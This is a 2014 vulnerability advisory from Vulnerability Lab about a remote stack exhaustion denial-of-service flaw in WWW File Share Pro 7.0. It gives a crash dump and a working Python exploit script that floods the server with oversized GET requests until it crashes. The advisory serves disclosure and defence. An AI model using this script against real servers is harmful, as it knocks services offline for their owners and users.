Document Title:

WWW File Share Pro v7.0 - Denial of Service Vulnerability

References (Source):

http://www.vulnerability-lab.com/get_content.php?id=1310

Video: http://www.vulnerability-lab.com/get_content.php?id=1309

http://cwe.mitre.org/data/definitions/121.html

Release Date:

2014-08-30

Vulnerability Laboratory ID (VL-ID):

1310

Common Vulnerability Scoring System:

4.2

Product & Service Introduction:

WWW File Share Pro can help you share files on the internet or on the local area network. You may use it to share files between your
PC and other devices if they may access your PC with an internet browser, regardless of what Operating System is installed on them.

• Share office documents between Windows and other operating system: Mac OS X, Linux, iOS, Android, etc.
• View photos or play mp3 files stores on your PC from other portable computer or smart mobile phone: iPad, iPhone, Nexus 4, Note II, etc.
• Share files between you and other persons: your friends, your colleagues, etc.

What you need to do is to simply specify a download directory and a upload directory. Then run the internet browser on other devices to
download files from your computer or upload files from those devices to your computer. All popular internet browsers are supported, such
as Firefox, Chrome, Safari, Internet Explorer, Opera, etc. There is no need to install this software or any other software on other devices
because an internet browser is enough.

(Copy of the Vendor Homepage: http://www.wfshome.com/ )

Abstract Advisory Information:

The Vulnerability Laboratory Research Team discovered a remote Denial of Service Vulnerability in the official WWW File Share Pro v7.0 software.

Vulnerability Disclosure Timeline:

2014-08-30: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Published

Exploitation Technique:

Remote

Severity Level:

Medium

Technical Details & Description:

A critical stack exhaustion buffer overflow vulnerability resulting in remote denial of service has been detected in the
latest WWW File Share PRO 7.0 software. The vulnerability can be triggered by sending a large malformed HTTP GET request to
the vulnerable server. e.g. GET /upload2.htm/A * 100000 resulting in an immediate crash of the application.

(199c.189c): Unknown exception - code c000008f (first chance)
(199c.189c): Unknown exception - code c000008f (first chance)
(199c.189c): Stack overflow - code c00000fd (first chance)

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=0009334c ebx=006b7528 ecx=00000002 edx=00000000 esi=006b7528 edi=006b7528
eip=7549c42d esp=0009334c ebp=0009339c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
KERNELBASE!RaiseException+0x58:

Recommended Bug Title: Stack Exhaustion starting at KERNELBASE!RaiseException+0x0000000000000058 (Hash=0x217757a7.0x7b922161)

Proof of Concept (PoC):

The vulnerability can be exploited by remote attackers without user interaction. For security demonstration or to reproduce
the vulnerability follow the provided information and steps below to continue.

PoC: Exploit

#!/usr/bin/python

Exploit Title: WWW File Share PRO - Stack Exhaustion - Remote (DOS) Exploit [CWE-121]

Date: 30th August, 2014

Exploit Author: Ateeq Khan ([email protected]) http://www.vulnerability-lab.com Twitter: @OhTheITGuy

Vendor Homepage: http://www.wfshome.com/

Software Link: http://www.wfshome.com/download/wfspsetup.exe

Version: 7.0

Tested on: Win7 SP1 (english)

import socket,sys

if len(sys.argv) != 3:

print "\r\nUsage: ./fsp.py <target> <port>\r\n\r\n "
sys.exit(0)

try:
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],port))

except:
print "\r\n\r\nCould not connect to target, already down? :/\r\n\r\n"
sys.exit()

count = 0
buffer = "GET /upload2.htm/"
buffer+= "\x41" * 100000
buffer+= " HTTP/1.0\r\n\r\n"

print "Sending garbage… \r\n"

while count < 500:

  try:
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((sys.argv[1],port))
      s.send(buffer)
      s.close()

  except:
         print "Packets succesfuly sent...\r\n"
         sys.exit()

Security Risk:

The security risk of the remote stack exhaustion denial of service vulnerability is estimated as medium.

Credits & Authors:

Vulnerability Laboratory [Research Team] - Ateeq Khan ([email protected]) [Twitter: @ohtheitguy]

Disclaimer & Information:

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any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

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